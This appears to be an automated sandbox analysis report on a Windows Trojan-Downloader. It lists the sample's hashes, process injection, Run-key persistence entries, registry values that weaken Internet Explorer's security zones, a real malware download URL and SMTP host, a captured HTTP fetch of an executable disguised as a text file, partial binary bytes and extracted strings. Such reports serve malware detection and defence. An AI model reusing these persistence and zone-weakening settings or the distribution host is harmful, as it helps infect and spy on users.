MD5: e7d8ec7011ce91469ca124f685aa8f6a
SHA1: c73740d3e660645cfdbd3f75c3822e24d2f3357f
SHA256: 540f1eb357b2f458c954809a1c6a7f1f2e1d975d438a6413f360958b8034a8f2
SSDeep: 12288:kb5PKl17YqLXpWA52NG578iZjzP/I4oG2iNrDJLDWm7E oAXkkkckkksIkkLvkTo:TOfYrfI49WP o6pKuu
Size: 681984 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: AppsInstaller
Created at: 2014-04-23 06:31:41
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.

Payload

No specific payload has been found.

Process activity

The TrojanSpy creates the following process(es):

%original file name%.exe:1692

The TrojanSpy injects its code into the following process(es):

offece.exe:1596
offece.exe:1276

File activity

The process %original file name%.exe:1692 makes changes in the file system.
The TrojanSpy creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\offece\offece.exe (4545 bytes)

The process offece.exe:1596 makes changes in the file system.
The TrojanSpy creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\offece.exe (89642 bytes)

The process offece.exe:1276 makes changes in the file system.
The TrojanSpy creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\senderedemail.tmp (10 bytes)

Registry activity

The process %original file name%.exe:1692 makes changes in the system registry.
The TrojanSpy creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7E A1 EF 97 57 3A 63 8E 8A B7 28 EC 36 F3 C8 EE"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data\offece]
"offece.exe" = "4shared Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The TrojanSpy modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The TrojanSpy modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The TrojanSpy modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process offece.exe:1596 makes changes in the system registry.
The TrojanSpy creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AD 74 1D 6B 7F 15 FA A4 B5 33 10 4F 3F E0 72 5C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data]
"offece.exe" = "Copyright © Microsoft Corporation"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Personal" = "%Documents and Settings%\%current user%\My Documents"

To automatically run itself each time Windows is booted, the TrojanSpy adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"offece" = "%Documents and Settings%\%current user%\Application Data\offece\offece.exe"

The TrojanSpy modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The TrojanSpy modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The TrojanSpy modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process offece.exe:1276 makes changes in the system registry.
The TrojanSpy creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3F 48 01 4C 4C 40 44 55 89 4D F6 3D 5B DC 29 B1"

To automatically run itself each time Windows is booted, the TrojanSpy adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"WindowsMicrosoft" = "%Documents and Settings%\%current user%\Application Data\offece.exe"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: New IT Solutions
Product Name:
Product Version: 1.0.0.0
Legal Copyright: New IT Solutions
Legal Trademarks: 4shared Desktop
Original Filename:
Internal Name:
File Version: 1.0.0.0
File Description: 4shared Desktop
Comments:
Language: Language Neutral

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://mfox8.altervista.org/offece.txt	78.129.205.42
smtps.uol.com.br	200.147.35.207

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected

Traffic

GET /offece.txt HTTP/1.1

Host: mfox8.altervista.org

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Date: Wed, 30 Apr 2014 10:57:15 GMT

Server: Apache

Last-Modified: Mon, 28 Apr 2014 23:51:08 GMT

ETag: "22980a0-5ae600-4f822fd3c3300"

Accept-Ranges: bytes

Content-Length: 5957120

Vary: Accept-Encoding

Content-Type: text/plain
MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
..............................................PE..L.....^S............
..........?...................@...........................[...........
[email protected]........<..................
p..|B...........................`..........................4....@.....
..................text............................... ..`.itext.......
....................... ..`[email protected]
s.....\...............................idata..65.......6...............
[email protected]......@[email protected]....<....P......
.....................rdata.......`......................@[email protected]..|B
[email protected].....<.......<...............
..@..@..............[.......Z.............@..@........................
..........................................................@...Boolean.
[email protected][email protected][email protected]
[email protected][email protected]............
[email protected][email protected][email protected]..........
[email protected][email protected][email protected].......
[email protected][email protected]........
[email protected][email protected][email protected][email protected]
[email protected][email protected].@[email protected]
<<< skipped >>>

.rsrc

biClrImportant

tagMSG

Windows

HKEY

TWMKey

KeyData

etNoMonitorSupportException

TArray

ENoMonitorSupportException

TArray

TArray

csshiftjis

windows-936

windows-1250

windows-1251

windows-1252

windows-1253

windows-1254

windows-1255

windows-1256

windows-1257

windows-1258

windows-874

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

TArray

grfLocksSupported

Operator

EVariantBadIndexError

EVariantBadIndexError,VB

Uh.hB

ssShift

htKeyword

EInvalidOperation

EInvalidOperationX

TList.TDirection

AOperator

TThread.TSynchronizeRecord

TOperation

Operation

FOnExecute

OnExecuteL

TArray

TArray

TList.Sort$876$0$Intf@

TList.Sort$876$ActRec

$TComponent.FindComponent$1499$0$Intf@

$TComponent.FindComponent$1499$ActRec

TRegKeyInfo

NumSubKeys

MaxSubKeyLen

FCurrentKey

FRootKey

FCloseRootKey

CloseKey

CreateKey

DeleteKey

GetKeyInfo

GetKeyNames

HasSubKeys

KeyExists

LoadKey

MoveKey

OpenKey

OpenKeyReadOnly

ReplaceKey

RestoreKey

SaveKey

UnLoadKey

CurrentKey\

LastErrorMsgh

RootKey\

RootKeyName

EInvalidGraphicOperation

EInvalidGraphicOperation8

SupportsPartialTransparency

Monochrome

IsShortCut

FHelpKeyword

HelpKeyword

igoParentPassthrough

FAlwaysShowDragImages

AlwaysShowDragImages

toFlickFallbackKeys

'TCustomGestureEngine.TGestureEngineFlag

(TCustomGestureEngine.TGestureEngineFlags

Supported

TKeyEvent

TKeyPressEvent

FOnKeyDown

FOnKeyPress

FOnKeyUp

IsHintMsg

FNativeWheelSupport

FWheelSupportMessage

thHeaderItemLeftPressed

tsArrowBtnLeftPressed

ttbThumbLeftPressed

lrMonoChrome

FAutoHotkeys

RethinkHotkeys

AutoHotkeys

UnderstandsKeyword

poPortrait

APort

Port

ssHotTrack

TWindowState

poProportional

fsShowing

FWindowState

FKeyPreview

WantChildKey

KeyPreview

WindowState<

WindowStatex|H

OnKeyDown

OnKeyPress

OnKeyUp

FBiDiKeyboard

FNonBiDiKeyboard

FEnumAllWindowsOnActivateHint

FOnActionExecute

Keyword

EnumAllWindowsOnActivateHint\

BiDiKeyboard\

NonBiDiKeyboard

OnActionExecute

AMsg

EIdCanNotBindPortInRange

EIdInvalidPortRangeh

EIdInvalidPortRangeD

CheckIPVersionSupport

WSGetServByPort

APortNumber

VPort

IdStackWindows

TIdSocketListWindows4

TIdSocketListWindows

TIdStackWindowsg

ReceiveMsg

WSTranslateSocketErrorMsg

SupportsIPv6

TIdStackWindows

EIdIPVersionUnsupported

ReceiveMsg,

EIdPortRequired

EIdTCPConnectionError

EIdObjectTypeNotSupported

IPAsString

QuoteHTTP

Password

IdHTTPHeaderInfo

FPassword

FPort

ProxyPassword

ProxyPort\

Password\

FMetaHTTPEquiv

TIdMetaHTTPEquivE

ProcessMetaHTTPEquiv

TIdMetaHTTPEquiv

ftpTransfer

ftpReady

ftpAborted

Uh.MN

VMsgEnd

FClientPortMin

FClientPortMax

FPeerPort

ClientPortMin

ClientPortMax\

PeerPort

"EIdTransparentProxyUDPNotSupported

OpenUDP

CloseUDP

RecvFromUDP

SendToUDPm

FLastCmdResult

TIdTCPConnectionB

RaiseExceptionForLastCmdResult

SendCmd

SendCmdf

TIdTCPConnection

IdTCPConnection

LastCmdResult

FBoundPort

FBoundPortMax

FBoundPortMin

TIdTCPClientCustom'

TIdTCPClientCustom

IdTCPClient

BoundPort

BoundPortMax

BoundPortMin

TIdTCPClient

%EIdSocksUDPNotSupportedBySOCKSVersion

saUsernamePassword

FUDPSocksAssociation

SendToUDP9

FDefaultPort

DefaultPort

BoundPortMinL

fPassThrough

PassThrough

MakeFTPSvrPort

MakeFTPSvrPasv

FURL

URL|[O

CompressFTPDeflate

CompressFTPToIO

DecompressFTPFromIO

DecompressFTPDeflate

CompressHTTPDeflate

DecompressHTTPDeflate

URLDecode

URLEncode

Port\

FHttpOnly

HttpOnly\

FCommentURL

FPortList

FRecvPort

FUsePort

CommentURL

PortCount

UsePort

RecvPort

AURL

rsa_keygen

dsa_keygen

pub_key

priv_key

PEVP_PKEY

EVP_PKEY_union

EVP_PKEY

pkey

pkey_type

required_pkey_type

key_len

key_length

AUTHORITY_KEYID

keyid

PAUTHORITY_KEYID

X509_PUBKEY

public_key

PX509_PUBKEY

X509_CERT_AUX

PX509_CERT_AUX

cert_info

ex_nscert

get_cert_methods

cert_crl

ppem_password_cb

key_arg_length

key_arg

master_key_length

master_key

sess_cert

Ptlsext_ticket_key_cb!

cert_store

default_passwd_callback

default_passwd_callback_userdata

client_cert_cb

extra_certs

max_cert_list

cert

msg_callback

msg_callback_arg

client_cert_engine

tlsext_tick_key_name

tlsext_tick_hmac_key

tlsext_tick_aes_key

tlsext_ticket_key_cb

init_msg

read_key

write_key

key_material_length

key_material

tmp_cert_type

tmp_cert_length

tmp_cert_verify_md

tmp_cert_req

tmp_key_block_length

tmp_key_block

tmp_cert_request

msg_len

w_msg_hdr

r_msg_hdr

sslvrfFailIfNoPeerCert

TCallbackExEvent

TPasswordEvent

TPasswordEventEx

VPassword

Certificate

fsRootCertFile

fsCertFile

fsKeyFile

RootCertFile\

CertFile\

KeyFile

LoadRootCert

LoadCert

KeyFile0

fPeerCert

PeerCert

fOnGetPassword

fOnGetPasswordEx

OnGetPassword<

OnGetPasswordEx

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertErrorx

EIdOSSLLoadingCertErrorP

EIdOSSLLoadingKeyError

SEC_GET_KEY_FN

KeyVer

pGetKeyFn

pvGetKeyArgument

EXPORT_SECURITY_CONTEXT_FN&

IMPORT_SECURITY_CONTEXT_FN_W(

ExportSecurityContext

ImportSecurityContextW

aPassword

Urix%C

TIdHTTPConnectionType

IdHTTP

TIdHTTPOption

TIdHTTPOptions

TIdHTTPProtocolVersion

TIdHTTPOnRedirectEvent

TIdHTTPOnHeadersAvailable

FHTTP

TIdHTTPResponse7

TIdHTTPResponse

TIdHTTPRequest5

AHTTP

TIdHTTPRequest<

TIdHTTPProtocol;

TIdHTTPProtocol

FHTTPProto

TIdCustomHTTP'

TIdCustomHTTP8

MetaHTTPEquiv(rO

HTTPOptions@

TIdHTTP

EIdHTTPProtocolExceptionn

EIdHTTPProtocolException

Generics.Defaults

Generics.Collections

IdTCPServer

IdCustomTCPServer

UrlMon

#!V!W!"!&!r%!%#%%%'%)%c%e%g%C%
P%S%V%Y%\%
?456789:;<=
!"#$%&'()* ,-./0123
user32.dll
kernel32.dll
uxtheme.dll
DWMAPI.DLL
KWindows
CGenerics.Defaults
0IdHTTPHeaderInfo
 IdTCPServer
Font.Charset
Font.Color
Font.Height
Font.Name
Font.Style
GetCPInfoExW
GetCPInfo
RegOpenKeyExW
RegCloseKey
RegUnLoadKeyW
RegSaveKeyW
RegRestoreKeyW
RegReplaceKeyW
RegQueryInfoKeyW
RegLoadKeyW
RegFlushKey
RegEnumKeyExW
RegDeleteKeyW
RegCreateKeyExW
SetViewportOrgEx
ShellExecuteW
UnhookWindowsHookEx
SetWindowsHookExW
MsgWaitForMultipleObjectsEx
MsgWaitForMultipleObjects
MapVirtualKeyW
LoadKeyboardLayoutW
GetKeyboardState
GetKeyboardLayoutNameW
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyState
GetKeyNameTextW
EnumWindows
EnumThreadWindows
EnumChildWindows
ActivateKeyboardLayout
.text
`.itext
`.data
.idata
.didata
.rdata
@.reloc
B.rsrc
6Msg19{`
V:\_R
.sS%Pe
'c.nW
g*$/zS%F
)LHEFlid^wrpkytpmzsqlzsqlzvslvqllc^YlTPKlRMIlYTPl_[Vma\XkYVQ^A=:F
3433335353535
37373333337337777
77:::7:1.1.2::::;::2.
,::::51.111.17:;:;316
/1:;;;11
44>==?==>=>=84
5>>>=>=>=>=44
4445844
-545448?>84
!""#""""$$
$##$$$%$$$
//000010///.{
454553334432
858779998876
-=>>>>===<;:
777789<@:(3
version="15.0.3890.34076"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
KERNEL32.DLL
advapi32.dll
comctl32.dll
gdi32.dll
msimg32.dll
ole32.dll
oleaut32.dll
shell32.dll
version.dll
winspool.drv
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
C:\Builds\TP\rtl\sys\SysUtils.pas
%s-%s
C:\Builds\TP\rtl\common\TypInfo.pas
%s[%d]
%s_%d
.Owner
C:\Builds\TP\rtl\common\Classes.pas
C:\Builds\TP\rtl\common\SyncObjs.pas
\\?\UNC\
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_CURRENT_CONFIG
HKEY_DYN_DATA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes
crSQLWait
%s (%s)
imm32.dll
\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\
clWebSnow
clWebFloralWhite
clWebLavenderBlush
clWebOldLace
clWebIvory
clWebCornSilk
clWebBeige
clWebAntiqueWhite
clWebWheat
clWebAliceBlue
clWebGhostWhite
clWebLavender
clWebSeashell
clWebLightYellow
clWebPapayaWhip
clWebNavajoWhite
clWebMoccasin
clWebBurlywood
clWebAzure
clWebMintcream
clWebHoneydew
clWebLinen
clWebLemonChiffon
clWebBlanchedAlmond
clWebBisque
clWebPeachPuff
clWebTan
clWebYellow
clWebDarkOrange
clWebRed
clWebDarkRed
clWebMaroon
clWebIndianRed
clWebSalmon
clWebCoral
clWebGold
clWebTomato
clWebCrimson
clWebBrown
clWebChocolate
clWebSandyBrown
clWebLightSalmon
clWebLightCoral
clWebOrange
clWebOrangeRed
clWebFirebrick
clWebSaddleBrown
clWebSienna
clWebPeru
clWebDarkSalmon
clWebRosyBrown
clWebPaleGoldenrod
clWebLightGoldenrodYellow
clWebOlive
clWebForestGreen
clWebGreenYellow
clWebChartreuse
clWebLightGreen
clWebAquamarine
clWebSeaGreen
clWebGoldenRod
clWebKhaki
clWebOliveDrab
clWebGreen
clWebYellowGreen
clWebLawnGreen
clWebPaleGreen
clWebMediumAquamarine
clWebMediumSeaGreen
clWebDarkGoldenRod
clWebDarkKhaki
clWebDarkOliveGreen
clWebDarkgreen
clWebLimeGreen
clWebLime
clWebSpringGreen
clWebMediumSpringGreen
clWebDarkSeaGreen
clWebLightSeaGreen
clWebPaleTurquoise
clWebLightCyan
clWebLightBlue
clWebLightSkyBlue
clWebCornFlowerBlue
clWebDarkBlue
clWebIndigo
clWebMediumTurquoise
clWebTurquoise
clWebCyan
clWebPowderBlue
clWebSkyBlue
clWebRoyalBlue
clWebMediumBlue
clWebMidnightBlue
clWebDarkTurquoise
clWebCadetBlue
clWebDarkCyan
clWebTeal
clWebDeepskyBlue
clWebDodgerBlue
clWebBlue
clWebNavy
clWebDarkViolet
clWebDarkOrchid
clWebMagenta
clWebDarkMagenta
clWebMediumVioletRed
clWebPaleVioletRed
clWebBlueViolet
clWebMediumOrchid
clWebMediumPurple
clWebPurple
clWebDeepPink
clWebLightPink
clWebViolet
clWebOrchid
clWebPlum
clWebThistle
clWebHotPink
clWebPink
clWebLightSteelBlue
clWebMediumSlateBlue
clWebLightSlateGray
clWebWhite
clWebLightgrey
clWebGray
clWebSteelBlue
clWebSlateBlue
clWebSlateGray
clWebWhiteSmoke
clWebSilver
clWebDimGray
clWebMistyRose
clWebDarkSlateBlue
clWebDarkSlategray
clWebGainsboro
clWebDarkGray
clWebBlack
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
C:\Builds\TP\indysockets\lib\system\IdStreamVCL.pas
C:\Builds\TP\indysockets\lib\system\IdGlobal.pas
%s, %.2d %s %.4d %s %s
%s, %.2d-%s-%.2d %s %s
WS2_32.DLL
getservbyport
WSAAsyncGetServByPort
WSAJoinLeaf
MSWSOCK.DLL
WSARecvMsg
WSASendMsg
Wship6.dll
Fwpuclnt.dll
127.0.0.1
C:\Builds\TP\indysockets\lib\system\IdStack.pas
ISO_646.irv:1991
ISO_646.basic:1983
ISO_646.irv:1983
csISO16Portuguese
csISO84Portuguese2
csShiftJIS
ISO-8859-1-Windows-3.0-Latin-1
csWindows30Latin1
ISO-8859-1-Windows-3.1-Latin-1
csWindows31Latin1
ISO-8859-2-Windows-Latin-2
csWindows31Latin2
ISO-8859-9-Windows-Latin-5
csWindows31Latin5
csMicrosoftPublishing
Windows-31J
csWindows31J
PTCP154
csPTCP154
10.5.7
.nml=animation/narrative
.aac=audio/mp4
.aif=audio/x-aiff
.aifc=audio/x-aiff
.aiff=audio/x-aiff
.au=audio/basic
.gsm=audio/x-gsm
.kar=audio/midi
.m3u=audio/mpegurl
.mid=audio/midi
.midi=audio/midi
.mpega=audio/x-mpg
.mp2=audio/x-mpg
.mp3=audio/x-mpg
.mpga=audio/x-mpg
.m3u=audio/x-mpegurl
.pls=audio/x-scpls
.qcp=audio/vnd.qcelp
.ra=audio/x-realaudio
.ram=audio/x-pn-realaudio
.rm=audio/x-pn-realaudio
.sd2=audio/x-sd2
.sid=audio/prs.sid
.snd=audio/basic
.wav=audio/x-wav
.wax=audio/x-ms-wax
.wma=audio/x-ms-wma
.mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile
.art=image/x-jg
.bmp=image/bmp
.cdr=image/x-coreldraw
.cdt=image/x-coreldrawtemplate
.cpt=image/x-corelphotopaint
.djv=image/vnd.djvu
.djvu=image/vnd.djvu
.gif=image/gif
.ief=image/ief
.ico=image/x-icon
.jng=image/x-jng
.jpg=image/jpeg
.jpeg=image/jpeg
.jpe=image/jpeg
.pat=image/x-coreldrawpattern
.pcx=image/pcx
.pbm=image/x-portable-bitmap
.pgm=image/x-portable-graymap
.pict=image/x-pict
.png=image/x-png
.pnm=image/x-portable-anymap
.pntg=image/x-macpaint
.ppm=image/x-portable-pixmap
.psd=image/x-psd
.qtif=image/x-quicktime
.ras=image/x-cmu-raster
.rf=image/vnd.rn-realflash
.rgb=image/x-rgb
.rp=image/vnd.rn-realpix
.sgi=image/x-sgi
.svg=image/svg-xml
.svgz=image/svg-xml
.targa=image/x-targa
.tif=image/x-tiff
.wbmp=image/vnd.wap.wbmp
.xbm=image/xbm
.xbm=image/x-xbitmap
.xpm=image/x-xpixmap
.xwd=image/x-xwindowdump
.xml=text/xml
.uls=text/iuls
.txt=text/plain
.rtx=text/richtext
.wsc=text/scriptlet
.rt=text/vnd.rn-realtext
.htt=text/webviewhtml
.htc=text/x-component
.vcf=text/x-vcard
.asf=video/x-ms-asf
.asx=video/x-ms-asf
.avi=video/x-msvideo
.dl=video/dl
.dv=video/dv
.flc=video/flc
.fli=video/fli
.gl=video/gl
.lsf=video/x-la-asf
.lsx=video/x-la-asf
.mng=video/x-mng
.mp2=video/mpeg
.mp3=video/mpeg
.mp4=video/mpeg
.mpeg=video/x-mpeg2a
.mpa=video/mpeg
.mpe=video/mpeg
.mpg=video/mpeg
.moov=video/quicktime
.mov=video/quicktime
.mxu=video/vnd.mpegurl
.qt=video/quicktime
.qtc=video/x-qtc
.rv=video/vnd.rn-realvideo
.ivf=video/x-ivf
.wm=video/x-ms-wm
.wmp=video/x-ms-wmp
.wmv=video/x-ms-wmv
.wmx=video/x-ms-wmx
.wvx=video/x-ms-wvx
.rms=video/vnd.rn-realvideo-secure
.asx=video/x-ms-asf-plugin
.movie=video/x-sgi-movie
.aab=application/x-authorware-bin
.aam=application/x-authorware-map
.aas=application/x-authorware-seg
.abw=application/x-abiword
.ace=application/x-ace-compressed
.ai=application/postscript
.alz=application/x-alz-compressed
.ani=application/x-navi-animation
.arj=application/x-arj
.asf=application/vnd.ms-asf
.bat=application/x-msdos-program
.bcpio=application/x-bcpio
.boz=application/x-bzip2
.bz=application/x-bzip
.bz2=application/x-bzip2
.cab=application/vnd.ms-cab-compressed
.cat=application/vnd.ms-pki.seccat
.ccn=application/x-cnc
.cco=application/x-cocoa
.cdf=application/x-cdf
.cer=application/x-x509-ca-cert
.chm=application/vnd.ms-htmlhelp
.chrt=application/vnd.kde.kchart
.cil=application/vnd.ms-artgalry
.class=application/java-vm
.com=application/x-msdos-program
.clp=application/x-msclip
.cpio=application/x-cpio
.cpt=application/mac-compactpro
.cqk=application/x-calquick
.crd=application/x-mscardfile
.crl=application/pkix-crl
.csh=application/x-csh
.dar=application/x-dar
.dbf=application/x-dbase
.dcr=application/x-director
.deb=application/x-debian-package
.dir=application/x-director
.dist=vnd.apple.installer xml
.distz=vnd.apple.installer xml
.dll=application/x-msdos-program
.dmg=application/x-apple-diskimage
.doc=application/msword
.dot=application/msword
.dvi=application/x-dvi
.dxr=application/x-director
.ebk=application/x-expandedbook
.eps=application/postscript
.evy=application/envoy
.exe=application/x-msdos-program
.fdf=application/vnd.fdf
.fif=application/fractals
.flm=application/vnd.kde.kivio
.fml=application/x-file-mirror-list
.gzip=application/x-gzip
.gnumeric=application/x-gnumeric
.gtar=application/x-gtar
.gz=application/x-gzip
.hdf=application/x-hdf
.hlp=application/winhlp
.hpf=application/x-icq-hpf
.hqx=application/mac-binhex40
.hta=application/hta
.ims=application/vnd.ms-ims
.ins=application/x-internet-signup
.iii=application/x-iphone
.iso=application/x-iso9660-image
.jar=application/java-archive
.karbon=application/vnd.kde.karbon
.kfo=application/vnd.kde.kformula
.kon=application/vnd.kde.kontour
.kpr=application/vnd.kde.kpresenter
.kpt=application/vnd.kde.kpresenter
.kwd=application/vnd.kde.kword
.kwt=application/vnd.kde.kword
.latex=application/x-latex
.lha=application/x-lzh
.lcc=application/fastman
.lrm=application/vnd.ms-lrm
.lz=application/x-lzip
.lzh=application/x-lzh
.lzma=application/x-lzma
.lzo=application/x-lzop
.lzx=application/x-lzx
.mpp=application/vnd.ms-project
.mvb=application/x-msmediaview
.man=application/x-troff-man
.mdb=application/x-msaccess
.me=application/x-troff-me
.ms=application/x-troff-ms
.msi=application/x-msi
.mpkg=vnd.apple.installer xml
.mny=application/x-msmoney
.nix=application/x-mix-transfer
.oda=application/oda
.odb=application/vnd.oasis.opendocument.database
.odc=application/vnd.oasis.opendocument.chart
.odf=application/vnd.oasis.opendocument.formula
.odg=application/vnd.oasis.opendocument.graphics
.odi=application/vnd.oasis.opendocument.image
.odm=application/vnd.oasis.opendocument.text-master
.odp=application/vnd.oasis.opendocument.presentation
.ods=application/vnd.oasis.opendocument.spreadsheet
.ogg=application/ogg
.odt=application/vnd.oasis.opendocument.text
.otg=application/vnd.oasis.opendocument.graphics-template
.oth=application/vnd.oasis.opendocument.text-web
.otp=application/vnd.oasis.opendocument.presentation-template
.ots=application/vnd.oasis.opendocument.spreadsheet-template
.ott=application/vnd.oasis.opendocument.text-template
.p7b=application/x-pkcs7-certificates
.p7r=application/x-pkcs7-certreqresp
.package=application/vnd.autopackage
.pfr=application/font-tdpfr
.pkg=vnd.apple.installer xml
.pdf=application/pdf
.pko=application/vnd.ms-pki.pko
.pl=application/x-perl
.pnq=application/x-icq-pnq
.pot=application/mspowerpoint
.pps=application/mspowerpoint
.ppt=application/mspowerpoint
.ppz=application/mspowerpoint
.ps=application/postscript
.pub=application/x-mspublisher
.qpw=application/x-quattropro
.qtl=application/x-quicktimeplayer
.rar=application/rar
.rdf=application/rdf xml
.rjs=application/vnd.rn-realsystem-rjs
.rm=application/vnd.rn-realmedia
.rmf=application/vnd.rmf
.rmp=application/vnd.rn-rn_music_package
.rmx=application/vnd.rn-realsystem-rmx
.rnx=application/vnd.rn-realplayer
.rpm=application/x-redhat-package-manager
.rsml=application/vnd.rn-rsml
.rtsp=application/x-rtsp
.rss=application/rss xml
.scm=application/x-icq-scm
.ser=application/java-serialized-object
.scd=application/x-msschedule
.sda=application/vnd.stardivision.draw
.sdc=application/vnd.stardivision.calc
.sdd=application/vnd.stardivision.impress
.sdp=application/x-sdp
.setpay=application/set-payment-initiation
.setreg=application/set-registration-initiation
.sh=application/x-sh
.shar=application/x-shar
.shw=application/presentations
.sit=application/x-stuffit
.sitx=application/x-stuffitx
.skd=application/x-koan
.skm=application/x-koan
.skp=application/x-koan
.skt=application/x-koan
.smf=application/vnd.stardivision.math
.smi=application/smil
.smil=application/smil
.spl=application/futuresplash
.ssm=application/streamingmedia
.sst=application/vnd.ms-pki.certstore
.stc=application/vnd.sun.xml.calc.template
.std=application/vnd.sun.xml.draw.template
.sti=application/vnd.sun.xml.impress.template
.stl=application/vnd.ms-pki.stl
.stw=application/vnd.sun.xml.writer.template
.svi=application/softvision
.sv4cpio=application/x-sv4cpio
.sv4crc=application/x-sv4crc
.swf=application/x-shockwave-flash
.swf1=application/x-shockwave-flash
.sxc=application/vnd.sun.xml.calc
.sxi=application/vnd.sun.xml.impress
.sxm=application/vnd.sun.xml.math
.sxw=application/vnd.sun.xml.writer
.sxg=application/vnd.sun.xml.writer.global
.tar=application/x-tar
.tcl=application/x-tcl
.tex=application/x-tex
